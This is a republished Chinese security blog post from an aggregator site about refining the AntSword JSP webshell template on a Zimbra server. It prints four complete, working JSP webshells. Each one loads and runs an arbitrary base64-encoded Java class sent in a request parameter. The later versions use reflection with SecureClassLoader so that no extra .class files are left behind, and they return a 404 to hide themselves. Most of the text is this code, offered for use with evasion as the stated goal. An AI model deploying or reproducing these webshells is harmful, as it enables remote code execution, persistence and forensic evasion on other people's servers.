

Java利用技巧——AntSword-JSP-Template的优化
source link: https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-AntSword-JSP-Template%E7%9A%84%E4%BC%98%E5%8C%96
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Java利用技巧——AntSword-JSP-Template的优化
21 Jul 2022
0x00 前言
在之前的文章《Java利用技巧——通过反射实现webshell编译文件的自删除》曾介绍了通过反射实现AntSword-JSP-Template的方法。对于AntSword-JSP-Template中的shell.jsp
,访问后会额外生成文件shell_jsp$U.class
。《Java利用技巧——通过反射实现webshell编译文件的自删除》中的方法,访问后会额外生成文件shell_jsp$1.class
。
在某些特殊环境下,需要避免额外生成.class文件。本文将以Zimbra环境为例,介绍实现方法,开源代码,记录细节。
0x01 简介
本文将要介绍以下内容:
0x02 实现思路
基于《Java利用技巧——通过反射实现webshell编译文件的自删除》中的方法,访问后会额外生成文件shell_jsp$1.class
,这里可以通过构造器避免额外生成.class文件。
在具体使用过程中,需要注意如下问题:
(1)反射机制中的构造器
正常调用的代码:
str=new String(StringBuffer);
通过反射实现的代码:
Constructor constructor=String.class.getConstructor(StringBuffer.class);
String str=(String)constructor.newInstance(StringBuffer);
(2)选择合适的defineClass()方法
在ClassLoader类中,defineClass()
方法有多个重载,可以选择一个可用的重载
本文选择defineClass(byte[] b, int off, int len)
(3)SecureClassLoader
使用构造器时,应使用SecureClassLoader
,而不是ClassLoader
示例代码:
Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
0x03 实现代码
为了方便比较,这里给出每种实现方法的代码:
(1)test1.jsp
来自AntSword-JSP-Template中的shell.jsp,代码如下:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
}
%>
保存在Zimbra的web目录:/opt/zimbra/jetty_base/webapps/zimbra/
通过Web访问后在目录/opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/
生成以下文件:
- _test1_jsp.java
- _test1_jsp.class
- _test1_jsp$U.class
(2)test2.jsp
来自《Java利用技巧——通过反射实现webshell编译文件的自删除》中通过反射实现AntSword-JSP-Template的方法,代码如下:
<%@ page import="java.lang.reflect.Method" %>
<%!
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
d.setAccessible(true);
ClassLoader sysloader = getClass().getClassLoader();
ClassLoader loader = new ClassLoader(sysloader) {};
Class result = (Class) d.invoke(loader, base64Decode(cls),0,base64Decode(cls).length);
result.newInstance().equals(pageContext);
}
else{
response.sendError(404);
}
%>
通过Web访问后生成以下文件:
- _test2_jsp.java
- _test2_jsp.class
- _test2_jsp$1.class
(3)test3.jsp
基于test2.jsp,通过构造器实现,代码如下:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.security.SecureClassLoader" %>
<%!
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
d.setAccessible(true);
Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
c.setAccessible(true);
ClassLoader sysloader = this.getClass().getClassLoader();
ClassLoader loader =(ClassLoader)c.newInstance(sysloader);
Class result = (Class)d.invoke(loader,base64Decode(cls),0,base64Decode(cls).length);
result.newInstance().equals(pageContext);
}
else{
response.sendError(404);
}
%>
通过Web访问后生成以下文件:
- _test3_jsp.java
- _test3_jsp.class
(4)test4.jsp
基于test3.jsp,不使用base64Decode()
,代码如下:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.security.SecureClassLoader" %>
<%
String cls = request.getParameter("ant");
if (cls != null) {
byte[] str=null;
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
str = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), cls);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
str = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, cls);
}
Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
d.setAccessible(true);
Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
c.setAccessible(true);
ClassLoader sysloader = this.getClass().getClassLoader();
ClassLoader loader =(ClassLoader)c.newInstance(sysloader);
Class result = (Class)d.invoke(loader,str,0,str.length);
result.newInstance().equals(pageContext);
}
else{
response.sendError(404);
}
%>
通过Web访问后生成以下文件:
- _test4_jsp.java
- _test4_jsp.class
在代码实现上需要注意Java语言中数组必须先初始化,然后才可以使用
0x04 小结
本文分享了一种不额外生成.class文件的实现方法,对于开源的代码test4.jsp,还可以应用到Java文件的编写中。
</article
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK